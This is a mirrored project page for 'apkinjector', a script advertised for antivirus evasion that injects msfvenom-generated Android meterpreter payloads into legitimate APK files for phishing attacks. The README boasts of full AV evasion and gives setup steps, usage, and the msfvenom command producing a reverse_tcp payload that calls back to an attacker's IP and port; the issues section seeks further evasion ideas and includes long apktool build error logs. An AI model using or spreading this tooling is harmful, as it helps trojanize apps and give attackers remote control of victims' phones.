Code Monkey home page Code Monkey logo

apkinjector's Introduction

apkinjector

This script is no longer supported. Please use APKWash.



Android APK Antivirus evasion for msfvenom generated payloads to inject into another APK file for phishing attacks.

-- Please do not upload "injected" files to VirusTotal.com --


Success Rate:
-100% AV Evasion to date (0/35 on nodistribute, confirmed on AVG and Kaspersky mobile)
-~70% automatic injection
-May require user input, or manually adding the invoke command. The output will explain what is needed.
-If APKTool fails to decompile, or compile, then the injection will fail. On major apps like Facebook, Starbucks, etc you may find this to happen.


Setup:
chmod +x apkinjector
mv apkinjector /usr/local/bin/.

On first run:
-Downloads and places apktool.jar in the user's /usr/local/bin directory
-Generates debug keystore for signing. Places it in ~/.android/
NOTE: If wanting to customize each signature, then remove the keystore before running the script.

Usage:
apkinjector <payload>.apk <original>.apk

Input:
This script takes a msfgenerated payload as input along with an .apk you want to inject into.
To generate the payload: msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o <payload>.apk

Output:
injected_<original>.apk

Debugging
Comment out the removal of the /tmp/payload and /tmp/original directories to see the file structure that was compiled.

apkinjector's People

Contributors

iamalsaher avatar jbreed avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

apkinjector's Issues

AVs that detect and why

I am opening this to

  1. Keep track of which AV is detecting the payload
  2. Speculations on why it is detecting
  3. Suggestions for evasions
  4. What all we have tried for evasion and it's results
  5. Some out of the box thinking

Error

There was a problem in the creation of the injected APK file. Review the output to see where the issue was. Also, review /tmp/original files to see what could have potentially caused APKTool to fail.

Faild

Found smali in AndroidManifest.xml: com/zayhu/app/ZayhuApplication.smali

Successfully injected the payload and invoke was inserted into the launching .smali file.

I: Using Apktool 2.4.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
Exception in thread "main" org.jf.util.ExceptionWithContext: Exception occurred while writing code_item for method Lai/totok/chat/bli;->c()Lai/totok/chat/bli;
at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:917)
at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:341)
at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:297)
at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:61)
at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:36)
at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:418)
at brut.androlib.Androlib.buildSources(Androlib.java:349)
at brut.androlib.Androlib.build(Androlib.java:301)
at brut.androlib.Androlib.build(Androlib.java:268)
at brut.apktool.Main.cmdBuild(Main.java:251)
at brut.apktool.Main.main(Main.java:79)
Caused by: org.jf.util.ExceptionWithContext: Error while writing instruction at code offset 0x68
at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1190)
at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:913)
... 10 more
Caused by: org.jf.util.ExceptionWithContext: Unsigned short value out of range: 65555
at org.jf.dexlib2.writer.DexDataWriter.writeUshort(DexDataWriter.java:116)
at org.jf.dexlib2.writer.InstructionWriter.write(InstructionWriter.java:356)
at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1150)
... 11 more

Verifying ApkTool was able to compile the modified original package.

There was a problem in the creation of the injected APK file. Review the output to see where the issue was. Also, review /tmp/original files to see what could have potentially caused APKTool to fail.
Attempt to decompile and build the .apk file using apktool manually to see if it is successful before any modifications take place.
Ex: java -jar /usr/local/bin/apktool.jar d -f -o outputfolder <com.object>.apk ; java -jar /usr/local/bin/apktool.jar b outputfolder

couldnt compile or build apk

I: Using Apktool 2.2.2
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 2): [aapt, p, --forced-package-id, 127, --min-sdk-version, 8, --target-sdk-version, 15, --version-code, 4, --version-name, 1.3, --no-version-vectors, -F, /tmp/APKTOOL18214699731694238762.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/original/res, -M, /tmp/original/AndroidManifest.xml]
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:477)
at brut.androlib.Androlib.buildResources(Androlib.java:411)
at brut.androlib.Androlib.build(Androlib.java:310)
at brut.androlib.Androlib.build(Androlib.java:263)
at brut.apktool.Main.cmdBuild(Main.java:227)
at brut.apktool.Main.main(Main.java:84)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 2): [aapt, p, --forced-package-id, 127, --min-sdk-version, 8, --target-sdk-version, 15, --version-code, 4, --version-name, 1.3, --no-version-vectors, -F, /tmp/APKTOOL18214699731694238762.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/original/res, -M, /tmp/original/AndroidManifest.xml]
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:440)
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:463)
... 5 more
Caused by: brut.common.BrutException: could not exec (exit code = 2): [aapt, p, --forced-package-id, 127, --min-sdk-version, 8, --target-sdk-version, 15, --version-code, 4, --version-name, 1.3, --no-version-vectors, -F, /tmp/APKTOOL18214699731694238762.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/original/res, -M, /tmp/original/AndroidManifest.xml]
at brut.util.OS.exec(OS.java:95)
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:434)
... 6 more
W: ERROR: Unknown option '--forced-package-id'
W: Android Asset Packaging Tool
W:
W: Usage:
W: aapt l[ist] [-v] [-a] file.{zip,jar,apk}
W: List contents of Zip-compatible archive.
W:
W: aapt d[ump] [--values] [--include-meta-data] WHAT file.{apk} [asset [asset ...]]
W: strings Print the contents of the resource table string pool in the APK.
W: badging Print the label and icon for the app declared in APK.
W: permissions Print the permissions from the APK.
W: resources Print the resource table from the APK.
W: configurations Print the configurations in the APK.
W: xmltree Print the compiled xmls in the given assets.
W: xmlstrings Print the strings of the given compiled xml assets.
W:
W: aapt p[ackage] [-d][-f][-m][-u][-v][-x][-z][-M AndroidManifest.xml]
W: [-0 extension [-0 extension ...]] [-g tolerance] [-j jarfile]
W: [--debug-mode] [--min-sdk-version VAL] [--target-sdk-version VAL]
W: [--app-version VAL] [--app-version-name TEXT] [--custom-package VAL]
W: [--rename-manifest-package PACKAGE]
W: [--rename-instrumentation-target-package PACKAGE]
W: [--utf16] [--auto-add-overlay]
W: [--max-res-version VAL]
W: [-I base-package [-I base-package ...]]
W: [-A asset-source-dir] [-G class-list-file] [-P public-definitions-file]
W: [-D main-dex-class-list-file]
W: [-S resource-sources [-S resource-sources ...]]
W: [-F apk-file] [-J R-file-dir]
W: [--product product1,product2,...]
W: [-c CONFIGS] [--preferred-density DENSITY]
W: [--split CONFIGS [--split CONFIGS]]
W: [--feature-of package [--feature-after package]]
W: [raw-files-dir [raw-files-dir] ...]
W: [--output-text-symbols DIR]
W:
W: Package the android resources. It will read assets and resources that are
W: supplied with the -M -A -S or raw-files-dir arguments. The -J -P -F and -R
W: options control which files are output.
W:
W: aapt r[emove] [-v] file.{zip,jar,apk} file1 [file2 ...]
W: Delete specified files from Zip-compatible archive.
W:
W: aapt a[dd] [-v] file.{zip,jar,apk} file1 [file2 ...]
W: Add specified files to Zip-compatible archive.
W:
W: aapt c[runch] [-v] -S resource-sources ... -C output-folder ...
W: Do PNG preprocessing on one or several resource folders
W: and store the results in the output folder.
W:
W: aapt s[ingleCrunch] [-v] -i input-file -o outputfile
W: Do PNG preprocessing on a single file.
W:
W: aapt v[ersion]
W: Print program version.
W:
W: Modifiers:
W: -a print Android-specific data (resources, manifest) when listing
W: -c specify which configurations to include. The default is all
W: configurations. The value of the parameter should be a comma
W: separated list of configuration values. Locales should be specified
W: as either a language or language-region pair. Some examples:
W: en
W: port,en
W: port,land,en_US
W: -d one or more device assets to include, separated by commas
W: -f force overwrite of existing files
W: -g specify a pixel tolerance to force images to grayscale, default 0
W: -j specify a jar or zip file containing classes to include
W: -k junk path of file(s) added
W: -m make package directories under location specified by -J
W: -u update existing packages (add new, replace older, remove deleted files)
W: -v verbose output
W: -x create extending (non-application) resource IDs
W: -z require localization of resource attributes marked with
W: localization="suggested"
W: -A additional directory in which to find raw asset files
W: -G A file to output proguard options into.
W: -D A file to output proguard options for the main dex into.
W: -F specify the apk file to output
W: -I add an existing package to base include set
W: -J specify where to output R.java resource constant definitions
W: -M specify full path to AndroidManifest.xml to include in zip
W: -P specify where to output public resource definitions
W: -S directory in which to find resources. Multiple directories will be scanned
W: and the first match found (left to right) will take precedence.
W: -0 specifies an additional extension for which such files will not
W: be stored compressed in the .apk. An empty string means to not
W: compress any files at all.
W: --debug-mode
W: inserts android:debuggable="true" in to the application node of the
W: manifest, making the application debuggable even on production devices.
W: --include-meta-data
W: when used with "dump badging" also includes meta-data tags.
W: --pseudo-localize
W: generate resources for pseudo-locales (en-XA and ar-XB).
W: --min-sdk-version
W: inserts android:minSdkVersion in to manifest. If the version is 7 or
W: higher, the default encoding for resources will be in UTF-8.
W: --target-sdk-version
W: inserts android:targetSdkVersion in to manifest.
W: --max-res-version
W: ignores versioned resource directories above the given value.
W: --values
W: when used with "dump resources" also includes resource values.
W: --version-code
W: inserts android:versionCode in to manifest.
W: --version-name
W: inserts android:versionName in to manifest.
W: --replace-version
W: If --version-code and/or --version-name are specified, these
W: values will replace any value already in the manifest. By
W: default, nothing is changed if the manifest already defines
W: these attributes.
W: --custom-package
W: generates R.java into a different package.
W: --extra-packages
W: generate R.java for libraries. Separate libraries with ':'.
W: --generate-dependencies
W: generate dependency files in the same directories for R.java and resource package
W: --auto-add-overlay
W: Automatically add resources that are only in overlays.
W: --preferred-density
W: Specifies a preference for a particular density. Resources that do not
W: match this density and have variants that are a closer match are removed.
W: --split
W: Builds a separate split APK for the configurations listed. This can
W: be loaded alongside the base APK at runtime.
W: --feature-of
W: Builds a split APK that is a feature of the apk specified here. Resources
W: in the base APK can be referenced from the the feature APK.
W: --feature-after
W: An app can have multiple Feature Split APKs which must be totally ordered.
W: If --feature-of is specified, this flag specifies which Feature Split APK
W: comes before this one. The first Feature Split APK should not define
W: anything here.
W: --rename-manifest-package
W: Rewrite the manifest so that its package name is the package name
W: given here. Relative class names (for example .Foo) will be
W: changed to absolute names with the old package so that the code
W: does not need to change.
W: --rename-instrumentation-target-package
W: Rewrite the manifest so that all of its instrumentation
W: components target the given package. Useful when used in
W: conjunction with --rename-manifest-package to fix tests against
W: a package that has been renamed.
W: --product
W: Specifies which variant to choose for strings that have
W: product variants
W: --utf16
W: changes default encoding for resources to UTF-16. Only useful when API
W: level is set to 7 or higher where the default encoding is UTF-8.
W: --non-constant-id
W: Make the resources ID non constant. This is required to make an R java class
W: that does not contain the final value but is used to make reusable compiled
W: libraries that need to access resources.
W: --shared-lib
W: Make a shared library resource package that can be loaded by an application
W: at runtime to access the libraries resources. Implies --non-constant-id.
W: --app-as-shared-lib
W: Make an app resource package that also can be loaded as shared library at runtime.
W: Implies --non-constant-id.
W: --error-on-failed-insert
W: Forces aapt to return an error if it fails to insert values into the manifest
W: with --debug-mode, --min-sdk-version, --target-sdk-version --version-code
W: and --version-name.
W: Insertion typically fails if the manifest already defines the attribute.
W: --error-on-missing-config-entry
W: Forces aapt to return an error if it fails to find an entry for a configuration.
W: --output-text-symbols
W: Generates a text file containing the resource symbols of the R class in the
W: specified folder.
W: --ignore-assets
W: Assets to be ignored. Default pattern is:
W: !.svn:!.git:!.ds_store:!.scc:.:

_:!CVS:!thumbs.db:!picasa.ini:!~
W: --skip-symbols-without-default-localization
W: Prevents symbols from being generated for strings that do not have a default
W: localization
W: --no-version-vectors
W: Do not automatically generate versioned copies of vector XML resources.
W: --no-version-transitions
W: Do not automatically generate versioned copies of transition XML resources.
W: --private-symbols
W: Java package name to use when generating R.java for private resources.

Verifying ApkTool was able to compile the modified original package.

There was a problem in the creation of the injected APK file. Review the output to see where the issue was. Also, review /tmp/original files to see what could have potentially caused APKTool to fail.
Attempt to decompile and build the .apk file using apktool manually to see if it is successful before any modifications take place.
Ex: java -jar /usr/local/bin/apktool.jar d -f -o outputfolder <com.object>.apk ; java -jar /usr/local/bin/apktool.jar b outputfolder

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.